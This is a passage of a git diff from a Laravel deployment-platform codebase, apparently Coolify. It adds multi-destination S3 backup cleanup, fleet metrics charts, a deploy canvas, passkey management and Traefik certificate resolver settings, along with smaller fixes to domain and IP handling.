b/app/Jobs/VolumeBackupRecoveryJob.php index cda0fdd046..4965df1379 100644 --- a/app/Jobs/VolumeBackupRecoveryJob.php +++ b/app/Jobs/VolumeBackupRecoveryJob.php @@ -295,12 +295,19 @@ class VolumeBackupRecoveryJob implements ShouldBeEncrypted, ShouldBeUnique, Shou ]); } + /** + * Deletes the partial upload from every destination whose copy did not finish uploading. Every destination is + * tried; the first failure is rethrown afterwards and keeps the cleanup pending. + */ public static function cleanupS3Upload(ScheduledVolumeBackupExecution $execution): void { - $execution->loadMissing('s3'); - $s3 = $execution->s3; + $replicas = $execution->s3Replicas() + ->with('s3') + ->where('s3_storage_deleted', false) + ->where(fn ($query) => $query->whereNull('s3_uploaded')->orWhere('s3_uploaded', false)) + ->get(); - if (! $s3 || blank($execution->filename)) { + if ($replicas->isEmpty() || blank($execution->filename)) { self::skipRecovery( $execution, ['s3_cleanup_pending' => false], @@ -310,11 +317,25 @@ class VolumeBackupRecoveryJob implements ShouldBeEncrypted, ShouldBeUnique, Shou return; } - deleteBackupsS3($execution->filename, $s3); - $execution->update([ - 's3_cleanup_pending' => false, - 's3_storage_deleted' => true, - ]); + $failure = null; + foreach ($replicas as $replica) { + try { + if ($replica->s3) { + deleteBackupsS3($execution->filename, $replica->s3); + } + $replica->update(['s3_storage_deleted' => true]); + } catch (Throwable $exception) { + $failure ??= $exception; + } + } + + $execution->refreshS3Summary(); + + if ($failure) { + throw $failure; + } + + $execution->update(['s3_cleanup_pending' => false]); } /** diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index ca305905a3..50bad00678 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -302,7 +302,7 @@ class Index extends Component $this->validate(); - $foundServer = Server::whereIp($this->remoteServerHost)->first(); + $foundServer = Server::whereIp(Server::normalizeIp($this->remoteServerHost))->first(); if ($foundServer) { return $this->dispatch('error', 'A server with this IP/Domain already exists.'); } diff --git a/app/Livewire/Concerns/BuildsMetricsChartPayload.php b/app/Livewire/Concerns/BuildsMetricsChartPayload.php new file mode 100644 index 0000000000..12796c81e6 --- /dev/null +++ b/app/Livewire/Concerns/BuildsMetricsChartPayload.php @@ -0,0 +1,135 @@ + + */ + protected function buildChartPayload(array $seriesByServer): array + { + $cpu = FleetMetricsAggregator::sumSeriesByBucket($seriesByServer['cpu'], 'avg'); + $memory = FleetMetricsAggregator::sumSeriesByBucket($seriesByServer['memory'], 'sum'); + $disk = FleetMetricsAggregator::sumSeriesByBucket($seriesByServer['disk'], 'avg'); + $load = FleetMetricsAggregator::sumSeriesByBucket($seriesByServer['load'], 'avg'); + $networkRx = FleetMetricsAggregator::sumSeriesByBucket($seriesByServer['networkRx'], 'sum'); + $networkTx = FleetMetricsAggregator::sumSeriesByBucket($seriesByServer['networkTx'], 'sum'); + + // Throughput spark = rx + tx per bucket. + $network = $this->combineSeries($networkRx, $networkTx); + $categories = $this->sparkCategories($cpu, $memory, $disk, $network); + + [$sparkCategories, $sparks] = $this->capSparks($categories, [ + 'cpuSpark' => $this->alignSpark($cpu, $categories), + 'memSpark' => $this->alignSpark($memory, $categories), + 'diskSpark' => $this->alignSpark($disk, $categories), + 'netSpark' => $this->alignSpark($network, $categories), + ], self::SPARK_MAX_POINTS); + + return [ + 'range' => $this->range, + 'cpu' => $cpu, + 'memory' => $memory, + 'disk' => $disk, + 'load' => $load, + 'networkRx' => $networkRx, + 'networkTx' => $networkTx, + // KPI-tile sparklines: values-only series on one shared, capped time axis. + 'sparkCategories' => $sparkCategories, + ] + $sparks; + } + + /** + * Thin every spark and the shared axis to at most $max points using the same + * evenly-spaced indices (first and last always kept), so the series stay aligned. + * + * @param array $categories + * @param array> $sparks + * @return array{0: array, 1: array>} + */ + private function capSparks(array $categories, array $sparks, int $max): array + { + $count = count($categories); + if ($count <= $max || $max < 2) { + return [$categories, $sparks]; + } + + $indices = []; + for ($i = 0; $i < $max; $i++) { + $indices[] = (int) round($i * ($count - 1) / ($max - 1)); + } + $indices = array_values(array_unique($indices)); + + $pick = fn (array $values): array => array_values(array_map(fn (int $i) => $values[$i], $indices)); + + return [$pick($categories), array_map($pick, $sparks)]; + } + + /** + * Sum two [ts, value] series bucket-by-bucket into one sorted [ts, value] series. + * + * @param array $a + * @param array $b + * @return array + */ + private function combineSeries(array $a, array $b): array + { + $map = []; + foreach ([$a, $b] as $series) { + foreach ($series as [$ts, $value]) { + $map[$ts] = ($map[$ts] ?? 0.0) + (float) $value; + } + } + ksort($map); + + return array_map(fn ($ts, $value) => [(int) $ts, $value], array_keys($map), array_values($map)); + } + + /** + * Sorted union of bucket timestamps across every series (the shared spark x-axis). + * + * @param array ...$seriesList + * @return array + */ + private function sparkCategories(array ...$seriesList): array + { + $set = []; + foreach ($seriesList as $series) { + foreach ($series as [$ts]) { + $set[(int) $ts] = true; + } + } + $categories = array_keys($set); + sort($categories); + + return $categories; + } + + /** + * Project a [ts, value] series onto the shared category axis, leaving gaps as null. + * + * @param array $series + * @param array $categories + * @return array + */ + private function alignSpark(array $series, array $categories): array + { + $map = []; + foreach ($series as [$ts, $value]) { + $map[(int) $ts] = $value; + } + + return array_map(fn ($ts) => $map[$ts] ?? null, $categories); + } +} diff --git a/app/Livewire/Concerns/CreatesEnvironments.php b/app/Livewire/Concerns/CreatesEnvironments.php new file mode 100644 index 0000000000..1212cb70f0 --- /dev/null +++ b/app/Livewire/Concerns/CreatesEnvironments.php @@ -0,0 +1,50 @@ + ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), + ]; + } + + protected function messages(): array + { + return ValidationPatterns::combinedMessages(); + } + + public function submit() + { + try { + $this->authorize('update', $this->project); + $this->validate(); + $environment = Environment::create([ + 'name' => $this->name, + 'project_id' => $this->project->id, + 'uuid' => new_public_id(), + ]); + + return redirectRoute($this, 'project.resource.index', [ + 'project_uuid' => $this->project->uuid, + 'environment_uuid' => $environment->uuid, + ]); + } catch (\Throwable $e) { + handleError($e, $this); + } + } +} diff --git a/app/Livewire/Concerns/CreatesTags.php b/app/Livewire/Concerns/CreatesTags.php new file mode 100644 index 0000000000..0b61825511 --- /dev/null +++ b/app/Livewire/Concerns/CreatesTags.php @@ -0,0 +1,39 @@ +authorize('create', Tag::class); + $this->validate( + ['newTagName' => ['required', 'string', 'min:2', 'max:255', 'regex:/^\S+$/']], + ['newTagName.regex' => 'A tag name cannot contain spaces.'], + ); + $name = strtolower(trim(strip_tags($this->newTagName))); + if (mb_strlen($name) < 2) { + throw ValidationException::withMessages(['newTagName' => 'The tag name must be at least 2 characters after sanitization.']); + } + if (Tag::ownedByCurrentTeam()->where('name', $name)->exists()) { + throw ValidationException::withMessages(['newTagName' => 'A tag with this name already exists.']); + } + Tag::create(['name' => $name, 'team_id' => currentTeam()->id]); + + return $this->redirectRoute('tags.show', ['tagName' => $name], navigate: true); + } catch (ValidationException $e) { + throw $e; + } catch (\Exception $e) { + return handleError($e, $this); + } + } +} diff --git a/app/Livewire/Concerns/RemembersCanvasView.php b/app/Livewire/Concerns/RemembersCanvasView.php new file mode 100644 index 0000000000..d8bad86d4d --- /dev/null +++ b/app/Livewire/Concerns/RemembersCanvasView.php @@ -0,0 +1,72 @@ +rememberView($page, $view); + } + } + + /** + * @param 'servers'|'server_resources'|'projects'|'project'|'environment'|'tags'|'team_variables'|'project_variables'|'environment_variables'|'server_variables' $page + * @param 'table'|'grid'|'list'|'canvas' $view + */ + protected function rememberView(string $page, string $view): void + { + Cookie::queue(Cookie::forever($this->viewCookieName($page), $view)); + } + + /** + * List page: true when the user last used the canvas. A ?view=table|grid|list link + * (the switcher on the canvas page) picks the list again and is remembered. + * + * @param 'servers'|'server_resources'|'projects'|'project'|'environment'|'tags'|'team_variables'|'project_variables'|'environment_variables'|'server_variables' $page + */ + protected function prefersCanvasView(string $page): bool + { + $view = request()->query('view'); + if (in_array($view, self::LIST_VIEWS, true)) { + $this->rememberView($page, $view); + + return false; + } + + return request()->cookie($this->viewCookieName($page)) === 'canvas'; + } + + /** + * List page: the remembered list view (table or grid), or $default. + */ + protected function listView(string $page, string $default): string + { + $view = request()->query('view') ?? request()->cookie($this->viewCookieName($page)); + + return in_array($view, ['table', 'grid'], true) ? $view : $default; + } + + private function viewCookieName(string $page): string + { + return 'coolify_'.auth()->id().'_'.$page.'_view'; + } +} diff --git a/app/Livewire/DeployCanvas.php b/app/Livewire/DeployCanvas.php new file mode 100644 index 0000000000..3f2c6d4164 --- /dev/null +++ b/app/Livewire/DeployCanvas.php @@ -0,0 +1,83 @@ +teamId = currentTeam()->id; + } + + public function render(): View + { + return view('livewire.deploy-canvas', [ + 'serviceTemplates' => $this->serviceTemplates(), + 'serviceLogos' => $this->serviceLogos(), + 'resourceLogos' => $this->resourceLogos(), + // Only shows the "New project / environment" rows; the API checks again. + 'canAddProjects' => auth()->user()->can('create', Project::class), + ])->layout('layouts.app', ['fullBleed' => true]); + } + + /** + * The versioned URLs of the logos in public/svgs/resources for the step icons: name => URL. + * + * @return array + */ + private function resourceLogos(): array + { + return collect(glob(public_path('svgs/resources/*.svg')) ?: []) + ->mapWithKeys(fn (string $path): array => [basename($path, '.svg') => resource_logo_url(basename($path, '.svg'))]) + ->all(); + } + + /** + * Service template logos for the Service step icon, as resource_logo() shows them: + * template key => [logo URL, CDN fallback URL]. Templates without a logo are left out. + * + * @return array + */ + private function serviceLogos(): array + { + return get_service_templates() + ->map(fn ($template): mixed => data_get($template, 'logo')) + ->filter(fn (mixed $logo): bool => is_string($logo) && $logo !== '' && basename($logo) !== 'default.webp') + ->map(function (string $logo): array { + $urls = service_logo_urls($logo); + + return [$urls['logo'], $urls['logo_cdn_url']]; + }) + ->all(); + } + + /** + * One-click service templates for the Service step: the keys that the + * services API accepts, with the names of the New resource page. + * + * @return list + */ + private function serviceTemplates(): array + { + return get_service_templates()->keys() + ->map(fn ($key): array => [(string) $key, str((string) $key)->headline()->value()]) + ->sortBy(fn (array $template): string => strtolower($template[1])) + ->values() + ->all(); + } +} diff --git a/app/Livewire/Fleet/Metrics.php b/app/Livewire/Fleet/Metrics.php new file mode 100644 index 0000000000..bd9580a8cc --- /dev/null +++ b/app/Livewire/Fleet/Metrics.php @@ -0,0 +1,311 @@ + uuid => name */ + public array $serverOptions = []; + + #[Url(as: 'range')] + public string $range = '24h'; + + #[Url(as: 'server')] + public string $serverUuid = ''; + + #[Url(as: 'cmetric')] + public string $containerMetric = 'cpu'; + + private const CONTAINER_METRICS = ['cpu', 'memory', 'disk', 'network']; + + public bool $live = false; + + /** @var array */ + public array $kpis = []; + + /** @var array> */ + public array $serverRows = []; + + /** @var array> All fetched containers, kept so the metric toggle re-ranks without re-fetching. */ + public array $containersRaw = []; + + /** @var array> */ + public array $topContainers = []; + + /** @var array Trend series for the charts, also embedded for first paint. */ + public array $chartData = []; + + /** @var array */ + protected array $containerMetaCache = []; + + public function mount(): void + { + $this->refreshServers(); + + $this->normalizeContainerMetric(); + + if ($this->servers->isNotEmpty()) { + $this->loadData(); + } + } + + public function hydrate(): void + { + $previous = array_column($this->serverRows, 'uuid'); + $this->refreshServers(); + $current = $this->targetServers()->pluck('uuid')->all(); + sort($previous); + sort($current); + + if ($previous !== $current) { + $this->loadData(); + } + } + + private function refreshServers(): void + { + abort_unless(currentTeam() !== null, 403); + $this->servers = Server::ownedByCurrentTeam()->get() + ->filter(fn (Server $server) => $server->isMetricsEnabled()) + ->values(); + + foreach ($this->servers as $server) { + $this->authorize('view', $server); + } + + $this->serverOptions = $this->servers + ->mapWithKeys(fn (Server $server) => [$server->uuid => $server->name]) + ->all(); + + if ($this->serverUuid !== '' && ! array_key_exists($this->serverUuid, $this->serverOptions)) { + $this->serverUuid = ''; + } + } + + public function updatedServerUuid(): void + { + $this->loadData(); + } + + public function updatedContainerMetric(): void + { + $this->normalizeContainerMetric(); + + // Re-rank the already-fetched containers; no need to re-hit Sentinel. + $this->topContainers = FleetMetricsAggregator::rankContainers($this->containersRaw, $this->containerMetric); + } + + private function normalizeContainerMetric(): void + { + if (! in_array($this->containerMetric, self::CONTAINER_METRICS, true)) { + $this->containerMetric = 'cpu'; + } + } + + public function setRange(string $range): void + { + $this->range = in_array($range, ['24h', '7d', '30d'], true) ? $range : '24h'; + $this->loadData(); + } + + public function isLivePollable(): bool + { + return $this->live && $this->range === '24h'; + } + + /** + * @return Collection + */ + protected function targetServers(): Collection + { + if ($this->serverUuid !== '') { + return $this->servers->filter(fn (Server $s) => $s->uuid === $this->serverUuid)->values(); + } + + return $this->servers; + } + + public function loadData(): void + { + $this->refreshServers(); + $this->normalizeContainerMetric(); + + $rows = []; + $containers = []; + $series = ['cpu' => [], 'memory' => [], 'disk' => [], 'load' => [], 'networkRx' => [], 'networkTx' => []]; + + $targets = $this->targetServers(); + $clients = []; + $summaryTasks = []; + foreach ($targets as $server) { + $client = $clients[$server->uuid] = $this->metricsClient($server); + $summaryTasks[$server->uuid] = static fn () => $client->summary(); + } + $summaries = $this->runMetricTasks($summaryTasks); + $tasks = []; + $range = $this->range; + foreach ($clients as $uuid => $client) { + $metrics = $summaries[$uuid] === null ? ['cpu', 'memory'] : ['cpu', 'memory', 'disk', 'load']; + foreach ($metrics as $metric) { + $tasks[$uuid.':'.$metric] = static fn () => $client->history($metric, $range); + } + if ($summaries[$uuid] !== null) { + $tasks[$uuid.':containers'] = static fn () => $client->containersCurrent(); + $tasks[$uuid.':network'] = static fn () => $client->networkHistory($range); + } + } + $results = $this->runMetricTasks($tasks); + + foreach ($targets as $server) { + $summary = $summaries[$server->uuid]; + foreach (['cpu', 'memory', 'disk', 'load'] as $metric) { + $series[$metric][] = $results[$server->uuid.':'.$metric] ?? []; + } + + if ($summary === null) { + $rows[] = $this->offlineRow($server); + + continue; + } + + $current = $results[$server->uuid.':containers'] ?? []; + $rows[] = array_merge( + ['uuid' => $server->uuid, 'name' => $server->name, 'online' => true, 'containers' => count($current)], + $summary + ); + + foreach ($current as $c) { + // Names/images are resolved lazily for the displayed rows only (containerMeta), + // so a server with many containers doesn't trigger a resolve storm here. + $containers[] = array_merge($c, ['server' => $server->name, 'serverUuid' => $server->uuid]); + } + + $net = $results[$server->uuid.':network'] ?? ['rx' => [], 'tx' => []]; + $series['networkRx'][] = $net['rx']; + $series['networkTx'][] = $net['tx']; + } + + $this->serverRows = $rows; + $this->kpis = FleetMetricsAggregator::fleetKpis($rows); + $this->containersRaw = $containers; + $this->topContainers = FleetMetricsAggregator::rankContainers($containers, $this->containerMetric); + $this->chartData = $this->buildChartPayload($series); + + $this->dispatch("refreshChartData-{$this->chartId}", $this->chartData); + } + + /** + * Bound the number of PHP workers and SSH connections for large fleets. + * + * @param array $tasks + * @return array + */ + protected function runMetricTasks(array $tasks): array + { + foreach ($tasks as $key => $task) { + $tasks[$key] = static function () use ($task) { + try { + return $task(); + } catch (\Throwable) { + return null; + } + }; + } + $results = []; + foreach (array_chunk($tasks, 8, true) as $batch) { + $results += Concurrency::run($batch); + } + + return $results; + } + + /** + * @return array + */ + protected function offlineRow(Server $server): array + { + return [ + 'uuid' => $server->uuid, 'name' => $server->name, 'online' => false, + 'cpu' => null, 'memUsed' => null, 'memTotal' => null, + 'diskUsed' => null, 'diskTotal' => null, 'diskPercent' => null, + 'load1' => null, 'netRx' => null, 'netTx' => null, 'containers' => null, + ]; + } + + protected function metricsClient(Server $server): SentinelMetricsClient + { + $server->settings->ensureValidSentinelToken(); + + return app(SentinelMetricsClient::class, ['server' => $server]); + } + + /** + * Resolve a Sentinel container id (the resource uuid Sentinel keys by) to a + * team-owned resource name, docker image, and metrics link, memoized. Shows the raw + * id and no image when no team-owned resource matches, so a Sentinel id never + * discloses another team's resource. + * + * @return array{name: string, image: ?string, link: ?string} + */ + public function containerMeta(string $id): array + { + if (isset($this->containerMetaCache[$id])) { + return $this->containerMetaCache[$id]; + } + + $teamId = currentTeam()?->id; + $resource = $teamId !== null ? getResourceByUuid($id, $teamId) : null; + + $image = null; + $link = null; + if ($resource) { + $image = data_get($resource, 'docker_registry_image_name') ?: data_get($resource, 'image'); + + if ($resource instanceof Application && data_get($resource, 'environment.project.uuid')) { + $link = route('project.application.metrics', [ + 'project_uuid' => $resource->environment->project->uuid, + 'environment_uuid' => $resource->environment->uuid, + 'application_uuid' => $resource->uuid, + ]); + } + } + + return $this->containerMetaCache[$id] = [ + 'name' => $resource?->name ?? $id, + 'image' => $image ?: null, + 'link' => $link, + ]; + } + + public function placeholder(): View + { + return view('livewire.fleet.metrics-placeholder'); + } + + public function render(): View + { + return view('livewire.fleet.metrics'); + } +} diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index 035349b728..3e9733f063 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -178,6 +178,7 @@ class GlobalSearch extends Component 'new github app' => 'source', 'new github' => 'source', 'new source' => 'source', + 'new canvas' => 'canvas', // Applications - Git-based 'new public' => 'public', @@ -1175,6 +1176,18 @@ class GlobalSearch extends Component ]); } + // Canvas - deploy resources visually; can be used if user has createAnyResource permission + if ($user->can('createAnyResource')) { + $items->push([ + 'name' => 'Canvas', + 'description' => 'Deploy resources visually on the deploy canvas', + 'quickcommand' => '(type: new canvas)', + 'type' => 'canvas', + 'category' => 'Quick Actions', + 'route' => 'deploy-canvas', + ]); + } + // === Applications Category === if ($user->can('createAnyResource')) { @@ -1354,6 +1367,13 @@ class GlobalSearch extends Component return; } + // If it has a route, it's a page-based quick action + if (isset($item['route'])) { + $this->dispatch('closeSearchModal'); + + return redirectRoute($this, $item['route']); + } + // If it has a component, it's a modal-based resource // Close search modal and open the appropriate creation modal if (isset($item['component'])) { diff --git a/app/Livewire/Profile/Passkeys.php b/app/Livewire/Profile/Passkeys.php new file mode 100644 index 0000000000..2620e92d90 --- /dev/null +++ b/app/Livewire/Profile/Passkeys.php @@ -0,0 +1,70 @@ +show_form = session('status') === 'passkey-add'; + } + + public function registered(): void + { + $this->show_form = false; + $this->dispatch('success', 'Passkey added.'); + } + + public function rename(int $id, string $name): bool + { + abort_unless(instanceSettings()->is_passkey_enabled, 404); + + $passkey = Auth::user()->passkeys()->findOrFail($id); + + $validated = Validator::make( + ['name' => trim($name)], + ['name' => ['required', 'string', 'max:255']], + )->validate(); + + $passkey->update(['name' => $validated['name']]); + $this->dispatch('success', 'Passkey renamed.'); + + return true; + } + + public function delete(int $id, mixed $password = null): mixed + { + abort_unless(instanceSettings()->is_passkey_enabled, 404); + + $passkey = Auth::user()->passkeys()->findOrFail($id); + + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + + app(DeletePasskey::class)(Auth::user(), $passkey); + $this->dispatch('success', 'Passkey deleted.'); + + return true; + } + + public function render(): View + { + $enabled = (bool) instanceSettings()->is_passkey_enabled; + + return view('livewire.profile.passkeys', [ + 'enabled' => $enabled, + 'available' => $enabled && PasskeyRelyingParty::isAvailable(), + 'passkeys' => $enabled ? Auth::user()->passkeys()->latest()->get() : collect(), + ]); + } +} diff --git a/app/Livewire/Project/Application/Advanced.php b/app/Livewire/Project/Application/Advanced.php index e7edb958ba..86b406a6b5 100644 --- a/app/Livewire/Project/Application/Advanced.php +++ b/app/Livewire/Project/Application/Advanced.php @@ -2,11 +2,14 @@ namespace App\Livewire\Project\Application; +use App\Enums\ProxyTypes; use App\Models\Application; use App\Models\ApplicationSetting; +use App\Models\ServerSetting; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Validator; +use Illuminate\Validation\Rule; use Illuminate\Validation\ValidationException; use Livewire\Attributes\Validate; use Livewire\Component; @@ -83,6 +86,11 @@ class Advanced extends Component #[Validate(['boolean'])] public bool $isStripprefixEnabled = true; + /** One of "server" (use the server setting), "none" (no resolver), or "custom". */ + public string $certificateResolverMode = 'server'; + + public ?string $certificateResolverName = null; + #[Validate(['boolean'])] public bool $isRawComposeDeploymentEnabled = false; @@ -135,6 +143,7 @@ class Advanced extends Component $this->isForceHttpsEnabled = $this->application->isForceHttpsEnabled(); $this->isGzipEnabled = $this->application->isGzipEnabled(); $this->isStripprefixEnabled = $this->application->isStripprefixEnabled(); + $this->syncCertificateResolverFromModel(); $this->isLogDrainEnabled = $this->application->isLogDrainEnabled(); $this->isGitSubmodulesEnabled = $this->application->settings->is_git_submodules_enabled; @@ -163,6 +172,18 @@ class Advanced extends Component $this->stopGracePeriod = $this->application->settings->stop_grace_period ?? ''; } + private function syncCertificateResolverFromModel(): void + { + $resolver = $this->application->settings->traefik_certificate_resolver; + + $this->certificateResolverMode = match (true) { + blank($resolver) => 'server', + $resolver === ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_NONE => 'none', + default => 'custom', + }; + $this->certificateResolverName = $this->certificateResolverMode === 'custom' ? $resolver : null; + } + /** * An unchanged stored prefix is skipped, so older values do not block other settings. */ @@ -314,6 +335,65 @@ class Advanced extends Component } } + /** + * Listbox change: "custom" waits for a resolver name before it saves. + */ + public function saveCertificateResolverMode() + { + if ($this->certificateResolverMode === 'custom' && blank($this->certificateResolverName)) { + $this->resetErrorBag('certificateResolverName'); + + return; + } + + return $this->saveCertificateResolver(); + } + + public function saveCertificateResolver() + { + try { + $this->authorize('update', $this->application); + + $this->validate([ + 'certificateResolverMode' => ['required', Rule::in(['server', 'none', 'custom'])], + 'certificateResolverName' => [ + 'exclude_unless:certificateResolverMode,custom', + 'required', + 'string', + 'max:255', + 'regex:'.ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_PATTERN, + Rule::notIn([ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_NONE]), + ], + ], [ + 'certificateResolverName.regex' => 'The resolver name may only contain letters, numbers, hyphens, and underscores.', + 'certificateResolverName.not_in' => 'Choose "None" instead of a custom resolver named "none".', + ], [ + 'certificateResolverName' => 'resolver name', + ]); + + $this->application->settings->traefik_certificate_resolver = match ($this->certificateResolverMode) { + 'none' => ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_NONE, + 'custom' => $this->certificateResolverName, + default => null, + }; + $changedFields = array_keys($this->application->settings->getDirty()); + $this->application->settings->save(); + $this->auditSettingsUpdate($changedFields); + $this->syncCertificateResolverFromModel(); + + if (in_array('traefik_certificate_resolver', $changedFields, true)) { + $this->resetDefaultLabels(); + } + + $this->dispatch('success', 'Certificate resolver saved.'); + $this->dispatch('configurationChanged'); + } catch (ValidationException $e) { + throw $e; + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function saveStopGracePeriod() { try { @@ -359,7 +439,12 @@ class Advanced extends Component public function render() { - return view('livewire.project.application.advanced'); + $server = data_get($this->application, 'destination.server'); + + return view('livewire.project.application.advanced', [ + 'isTraefikProxy' => $server?->proxyType() === ProxyTypes::TRAEFIK->value, + 'serverCertificateResolver' => $server?->traefikCertificateResolver() ?? ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_NONE, + ]); } /** @param array $changedFields */ diff --git a/app/Livewire/Project/Application/Backup/Index.php b/app/Livewire/Project/Application/Backup/Index.php index fe7e2eac5d..7ca097db96 100644 --- a/app/Livewire/Project/Application/Backup/Index.php +++ b/app/Livewire/Project/Application/Backup/Index.php @@ -31,7 +31,7 @@ class Index extends Component public function render(): View { $backups = ScheduledVolumeBackup::query() - ->with(['backupable', 'latestExecution', 's3']) + ->with(['backupable', 'latestExecution', 's3', 's3Storages']) ->withCount('executions') ->forApplication($this->application) ->latest() diff --git a/app/Livewire/Project/Application/Domains.php b/app/Livewire/Project/Application/Domains.php index a0b54b7bb3..fe7f99aa3c 100644 --- a/app/Livewire/Project/Application/Domains.php +++ b/app/Livewire/Project/Application/Domains.php @@ -178,11 +178,11 @@ class Domains extends Component $this->loadDomainState(); } - public function refreshDomains(): void + public function refreshDomains(bool $parseCompose = true): void { $editingRow = $this->editingIndex !== null ? ($this->domainRows[$this->editingIndex] ?? null) : null; - $this->loadDomainState(); + $this->loadDomainState($parseCompose); if ($editingRow !== null) { $index = collect($this->domainRows)->search(fn (array $row): bool => $row['url'] === $editingRow['url'] @@ -199,7 +199,9 @@ class Domains extends Component ->where('dns_status', 'checking') ->values(); - $this->refreshDomains(); + // The poll only refreshes DNS results. Parsing the compose file here would + // queue file sync jobs on every tick and starve the DNS check jobs. + $this->refreshDomains(parseCompose: false); foreach ($checkingRows as $checkingRow) { $row = collect($this->domainRows)->first(fn (array $row): bool => $row['url'] === $checkingRow['url'] @@ -258,7 +260,7 @@ class Domains extends Component $this->dispatch('success', 'HTTP to HTTPS redirect updated.'); } - public function loadDomainState(): void + public function loadDomainState(bool $parseCompose = true): void { $this->application->refresh(); $this->application->loadMissing(['destination.server', 'settings', 'additional_servers']); @@ -293,23 +295,27 @@ class Domains extends Component $this->serverIpConfigured = null; } - $this->composeServices = []; $pendingRedirect = $this->pendingRedirectService !== null ? ($this->serviceRedirects[$this->serviceRedirectWireKey($this->pendingRedirectService)] ?? null) : null; $this->serviceRedirects = []; - if ($this->isCompose) { + if (! $this->isCompose) { + $this->composeServices = []; + } elseif ($parseCompose) { try { $parsed = $this->application->parse() ?? []; } catch (\Throwable) { $parsed = []; } + $this->composeServices = []; $services = data_get($parsed, 'services', []); foreach ($services as $serviceName => $service) { if (! isDatabaseImage(data_get($service, 'image'))) { $this->composeServices[] = $serviceName; } } + } + if ($this->isCompose) { if ($this->newDomainService === null && count($this->composeServices) > 0) { $this->newDomainService = $this->composeServices[0]; } @@ -2058,7 +2064,7 @@ class Domains extends Component $lowerHost = strtolower($host); // Always skip bare IPs and localhost. - if (filter_var($host, FILTER_VALIDATE_IP) !== false || $lowerHost === 'localhost') { + if (filter_var(trim($host, '[]'), FILTER_VALIDATE_IP) !== false || $lowerHost === 'localhost') { return null; } diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index db00977b8d..0a1fcdfc3d 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -460,7 +460,7 @@ class General extends Component $this->portsMappings = $this->application->ports_mappings; $this->customNetworkAliases = $this->application->custom_network_aliases; $this->dockerfile = $this->application->dockerfile; - $this->dockerfileLocation = $this->application->dockerfile_location; + $this->dockerfileLocation = $this->application->dockerfile_location ?? ($this->buildPack === 'dockerfile' ? '/Dockerfile' : null); $this->dockerfileTargetBuild = $this->application->dockerfile_target_build; $this->dockerRegistryImageName = $this->application->docker_registry_image_name; $this->dockerRegistryImageTag = $this->application->docker_registry_image_tag; diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index 8f2ff9af40..b310c248ee 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -279,6 +279,7 @@ class CloneMe extends Component 'team_id' => $teamId, ]); $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } $environmentVaribles = $database->environment_variables()->get(); @@ -469,6 +470,7 @@ class CloneMe extends Component 'team_id' => $teamId, ]); $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } } diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index 59dd1a29c0..a7c49eeb58 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -9,6 +9,7 @@ use App\Models\ServiceDatabase; use App\Models\StandalonePostgresql; use App\Traits\ListensToTeamChannel; use Exception; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Auth; @@ -76,8 +77,9 @@ class BackupEdit extends Component #[Validate(['required', 'boolean'])] public bool $disableLocalBackup = false; - #[Validate(['nullable', 'integer'])] - public ?int $s3StorageId = null; + /** @var array */ + #[Validate(['array'])] + public array $s3StorageIds = []; #[Validate(['nullable', 'string'])] public ?string $databasesToBackup = null; @@ -113,6 +115,10 @@ class BackupEdit extends Component { try { $this->authorize('view', $this->backup->database); + $this->availableS3Storages = S3Storage::query() + ->whereKey($this->availableS3StorageIds()->all()) + ->orderBy('name') + ->get(); $this->parameters = get_route_parameters(); $this->syncData(); $this->refreshStatus(); @@ -148,7 +154,6 @@ class BackupEdit extends Component $this->backup->database_backup_retention_max_storage_s3 = $this->databaseBackupRetentionMaxStorageS3; $this->backup->save_s3 = $this->saveS3; $this->backup->disable_local_backup = $this->disableLocalBackup; - $this->backup->s3_storage_id = $this->s3StorageId; // Validate databases_to_backup to prevent command injection // Handles all formats including MongoDB's "db:col1,col2|db2:col3" @@ -160,10 +165,16 @@ class BackupEdit extends Component $this->backup->dump_all = $this->dumpAll; $this->backup->timeout = $this->timeout; $this->backup->missing_backup_notification_days = $this->missingBackupNotificationDays; - $this->customValidate(); + $storageIds = $this->customValidate(); $changedFields = auditChangedFields($this->backup); $this->backup->save(); + $previousStorageIds = $this->backup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all(); + $this->backup->syncS3Storages($storageIds->all()); + if ($previousStorageIds !== $storageIds->sort()->values()->all()) { + $changedFields[] = 's3_storages'; + } + return $changedFields; } else { $this->backupEnabled = $this->backup->enabled; @@ -177,7 +188,8 @@ class BackupEdit extends Component $this->databaseBackupRetentionMaxStorageS3 = $this->backup->database_backup_retention_max_storage_s3; $this->saveS3 = $this->backup->save_s3; $this->disableLocalBackup = $this->backup->disable_local_backup ?? false; - $this->s3StorageId = $this->backup->s3_storage_id ?? $this->availableS3StorageIds()->first(); + $selectedIds = $this->backup->selectedS3Storages()->pluck('id'); + $this->s3StorageIds = ($selectedIds->isNotEmpty() ? $selectedIds : $this->availableS3StorageIds()->take(1))->all(); $this->databasesToBackup = $this->backup->databases_to_backup; 